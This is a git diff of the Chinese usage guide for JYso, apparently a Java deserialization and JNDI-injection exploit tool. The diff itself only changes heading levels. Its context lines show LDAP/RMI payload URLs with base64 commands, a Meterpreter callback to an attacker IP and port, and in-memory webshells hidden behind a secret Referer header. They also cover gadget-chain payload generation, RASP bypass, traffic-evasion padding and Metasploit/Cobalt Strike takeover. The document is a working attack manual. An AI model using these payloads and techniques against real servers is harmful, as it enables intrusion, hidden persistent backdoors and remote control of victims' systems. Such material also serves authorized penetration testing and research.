diff --git a/JYso‐CN.md b/JYso‐CN.md index 449e683..b46e482 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -1,6 +1,4 @@ -# JYso 用法 - -## 1.1 启动服务 +# 1.1 启动服务 ```payload区分大小写``` @@ -142,7 +140,7 @@ http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Bas ldap://127.0.0.1:1389/[Basic or TomcatBypass]/command/Base64/[base64_encoded_cmd] ``` -## 1.2 Echo使用 +# 1.2 Echo使用 - 命令 `AllEcho`:DFS 找 Request 命令执行回显 - 命令 `TomcatEcho`:Tomcat 命令执行回显 @@ -188,7 +186,7 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port] --- -## 1.3 内存马 +# 1.3 内存马 解决 Shiro Header 头部过长问题: @@ -252,7 +250,7 @@ rmi://127.0.0.1/E-EX-MemShellClass -y -g [Gadget] -p "[E-EX-MemShellClass]" ``` -### 1.3.1 命令执行及后门类 +## 1.3.1 命令执行及后门类 对于植入的内存马及恶意逻辑,首先为了隐藏内存马,通过逻辑进行了判断,需要在请求 Header 中添加 `Referer: https://QI4L.cn/ `,其次执行不同的逻辑: 这个校验的 header 头部和值可以通过 `-hk "Referer" -hv "https://QI4L.cn/"` 来进行自定义指定。 @@ -275,7 +273,7 @@ rmi://127.0.0.1/E-EX-MemShellClass 7. 如果是 Tomcat Upgrade 内存马,需要指定 `Connection: Upgrade` 以及 `Upgrade: version.txt`,程序会从 Header 中的 `X-Token-Data` 中读取待执行的命令,并将结果放回 response 中回显,可以使用 `-u "/aaa" -ch "testecho"` 来指定。 -### 1.3.2 RMI 内存马 +## 1.3.2 RMI 内存马 对于 RMIBindTemplate 是在目标服务器上的指定端口启动注册中心(如果没有),并向其中绑定恶意的后门类,配合 `exploit.org.qi.ysuserial.RMIBindExploit` @@ -309,7 +307,7 @@ rmi://127.0.0.1/E-EX-MemShellClass --- -## 1.4 SignedObject 二次反序列化 Gadget +# 1.4 SignedObject 二次反序列化 Gadget 用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) @@ -341,7 +339,7 @@ ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscoll --- -## 1.5 Gadget +# 1.5 Gadget ```text7 [root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options] @@ -459,12 +457,12 @@ If you want your payload being extremely short,you could just use: java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser ``` -### 1.5.1 针对 TemplatesImpl +## 1.5.1 针对 TemplatesImpl 原版仅使用了 Runtime 的命令执行方式,这里对其进行深度的扩展,并植入了多种内存马的功能。 -### 1.5.2 针对 ChainedTransformer +## 1.5.2 针对 ChainedTransformer - CommonsCollections1 - CommonsCollections5 @@ -537,7 +535,7 @@ java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'JD-ldap://127.0.0.1:1 java -jar JYso-[version].jar -y -g CommonsCollections1 -p 'open -a Calculator.app' ``` -## 1.6 任意自定义代码 +# 1.6 任意自定义代码 如果你不想使用本项目中提供的恶意逻辑,也不想执行命令,可以通过自定义代码的形式,自定义代码将会在目标服务器通过 ClassLoader @@ -551,7 +549,7 @@ java -jar JYso-[version].jar -y -g CommonsCollections3 -p LF-/tmp/evil.class -## 1.7 URLDNS 探测目标类 +# 1.7 URLDNS 探测目标类 为了解决有反序列化利用点但是无链可用的状态,本项目提供了基于 URLDNS 探测目标类的功能。这条链会根据目标环境中不同的类是否存在来判断系统环境、依赖版本,主要包含如下表格中的内容: @@ -595,7 +593,7 @@ java -jar JYso-[version].jar -y -g URLDNS -p 'all:xxx.dns.log' ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all:xxxxxx.dns.log]) ``` -## 1.8 其他利用链的拓展 +# 1.8 其他利用链的拓展 对于 BeanShell1 及 Clojure 这两个基于脚本语言解析的漏利用方式。 @@ -610,7 +608,7 @@ ldap://127.0.0.1:1389/Deserialization/URLDNS/command/Base64/[base64_encoded_all: 对于 BeanShell1,还通过 ScriptEngineManager 执行 JS 的方式支持回显或内存马的打入。使用方式同上:`EX-` -## 1.9 流量层面 +# 1.9 流量层面 对于冰蝎和哥斯拉,他们自己在流量和Java层都有很多可以提取的特征,这里没有办法去管控,需要各位自行去魔改,其实也并不难。本项目把一些大家实现的比较类似的一些特征进行了去除。 @@ -627,14 +625,14 @@ java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' 可以生成填充了 50000 个脏字符的序列化数据 -## 2.0 RASP 层面 +# 2.0 RASP 层面 对于漏洞执行常使用的 Runtime、URLClassLoader 等,很多 RASP 都进行了 Hook,在攻击时可能会被拦截,这里我使用了一些反射调用 native 方法之类的技术去尝试 RASP 的防御,具体的技术实现就不细说了,感兴趣的朋友可以反编译 jar 包查看相关代码。 可以使用 -o 参数指定使用绕过 RASP 的相关技术。 目前已支持动态生成混淆的类名,不存在任何 `qi4l` 关键字。 -## 2.1 Exploit +# 2.1 Exploit 除了单独的参数外,其余参数与 payload 的参数保持一致 @@ -653,7 +651,7 @@ java -jar JYso-[version].jar -y -g CommonsBeanutils1 -p 'EX-MS-TEXMSFromThread' java -cp JYso-[version].jar -y com.qi4l.jndi.exploit.JRMPListener 8888 -g CommonsCollections1 -p whoami ``` -## 2.2 普通命令执行 +# 2.2 普通命令执行 + JNDI-Injection-Exploit 用法: ``` @@ -665,6 +663,6 @@ jndi:ldap://127.0.0.1:1389/[Basic or TomcatBypass ]/command/base64/[base64cmd] -y -g [Gadget] -p "calc" ``` -## 2.3 MSF/CS 上线 +# 2.3 MSF/CS 上线 使用 MSF 的上线载荷配合远程 Jar 包调用完成 MSF 上线,后续可转 CS。 \ No newline at end of file